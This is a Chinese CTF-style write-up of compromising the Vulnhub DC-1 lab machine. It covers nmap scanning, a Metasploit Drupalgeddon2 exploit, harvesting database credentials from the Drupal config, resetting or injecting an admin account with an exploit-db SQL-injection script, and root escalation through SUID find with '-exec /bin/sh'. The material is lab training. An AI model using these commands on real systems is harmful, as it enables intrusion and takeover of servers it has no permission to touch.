Vulnhub-DC-1渗透学习
一、环境搭建
攻击机:Kali-2021.3:192.168.8.105
靶机:Vulnhub-DC-1:192.168.8.230
二、信息收集
启动靶机,由于我们没法进去这个靶机,所以IP地址是未知的
用ifconfig
查看kali的IP地址
使用nmap对该网段下的主机进行主机探活
1 | nmap -sP 192.168.8.0/24 |
一共发现了4个主机存活,最后一个是本机IP,因此可以不用考虑
使用下面命令进行逐个扫描,根据它们所开放的端口等其他信息进行排查
1 | nmap -A 192.168.8.230 |
可以看到开放了80端口,打开浏览器进行访问
观察这个页面可以发现是Drupal框架,那么就可能存在这个框架所对应的漏洞
如果看不出来的话,在kali上也可以利用whatweb
来查看这个网站的各种信息
可以看到这是个Drupal 7.X的框架,浏览器查找可以看到有对应的漏洞
或者在msf里也可以找到可以利用的payload
msf全称Metasploit Framework,是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode
使用msfconsole
即可进入msf
检索这个框架的漏洞:
1 | search drupal |
三、实战
经过我的测试发现第二个EXP还可以使用,而且能达到我们的目的
1 | use exploit/unix/webapp/drupal_drupalgeddon2 //使用该EXP模块 |
通过查看options确认配置好参数以后,使用run
即可,攻击成功后msf会返回一个session
我们可以利用这个session来查看各种信息,比如:
1 | getuid //查看当前用户 |
flag1
通过刚刚的session,使用shell
获得系统的一个非交互式shell
深入浅出理解交互式shell和非交互式shell、登录shell和非登录shell的区别
交互式shell就是在终端上执行,shell等待你的输入,并且立即执行你提交的命令。这种模式被称作交互式是因为shell与用户进行交互。这种模式也是大多数用户非常熟悉的:登录、执行一些命令、退出。当你退出后,shell也终止了。
非交互式shell,以shell script(非交互)方式执行。在这种模式 下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾EOF,shell也就终止了。
因此为了方便我们之后的操作,我们需要利用python来把它转换成交互式shell
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
然后就能很快发现第一个flag
flag2
flag1中的内容提示我们要找CMS(即Drupal)的配置文件,浏览器检索就能看到配置文件的位置
打开这个配置文件就可以发现第二个flag
同时也发现了数据库的相关信息
1 | $databases = array ( |
flag3
flag2中也有提示,提示我们不需要暴力破解,而是得到访问权限
由上面得到的数据库信息我们可以进入数据库中
1 | mysql -u dbuser -p R0ck3t |
对数据库进行常规操作
1 | show databases; |
可以看到这里有管理员的账号和密码,但很明显,这里的密码经过了加密,无法直接使用,这里有两种方法可以得到管理员权限
方法1-重置管理员密码
网上也有相关的文章,因为我们已经登录了数据库,自然可以对数据库里的数据进行修改
在Drupal的安装目录中的scripts目录下,有一些Drupal开发者准备好的PHP脚本,其中里面有个password-hash.sh文件,该文件的功能就是接收一个密码(字符串),然后返回加密后的字符串
1 | find / -name "password-hash.sh" //找到该文件的位置 |
然后只需要把这个新密码更新到用户admin中就可以实现重置密码,在数据库中使用下面的命令
1 | use drupaldb; |
此时我们就可以登录后台了
在content里就能发现flag3
方法2-添加具有管理员权限的用户
首先我们得确定该Drupal的版本信息
1 | cat /var/www/includes/bootstrap.inc | grep VERSION |
然后利用kali自带的SearchSploit工具进行搜索
1 | searchsploit drupal |
发现有个SQL注入的漏洞,可以添加管理员用户
然后只需要使用python去执行这个py文件就可以实现添加管理员了
1 | python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.8.230 -u aadmin -p 123456 |
出现下面的画面就代表我们已经添加成功了
查看一下数据库,发现成功在数据库中添加了管理员
之后再通过登录网站后台,就可以找到第三个flag了
flag4
flag3中有提示关键词perms、find、passwd、-exec
因此查看passwd文件就可以找到flag4
1 | cat /etc/passwd |
这里还有一种方法,也就是使用find命令来查找
1 | find / -name "flag*.txt" |
这样也可以找到flag4
flag5
flag4中说最后一个flag在root里,但在访问root的时候发现权限不够
因此我们需要把权限提升至root,再根据flag3里的perms和-exec,猜测可能会用到SUID提权
SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义。
简单来说就是非root用户在调用一个设置有SUID权限的可执行文件时,该进程的权限将为root权限
那么如何知道什么可执行文件具有SUID权限呢,有以下几种
1 | find / -perm -4000 //最简单的一种 |
简单解释一下一些参数的意思
1 | -u=s 表示查找root用户拥有的文件 |
可以看到find命令有SUID权限,因此我们可以用find进行提权
常见的可以用来提权的程序有:nmap、vim、find、bash、more、less、nano、cp
find提权
1 | find robots.txt -exec "/bin/sh" \; |
中间的robots.txt是一个能够找到的文件或者目录,否则可能会出错,执行了这个命令之后就可以看到权限提升到了root
然后再进入root目录就能看到最后一个flag的位置了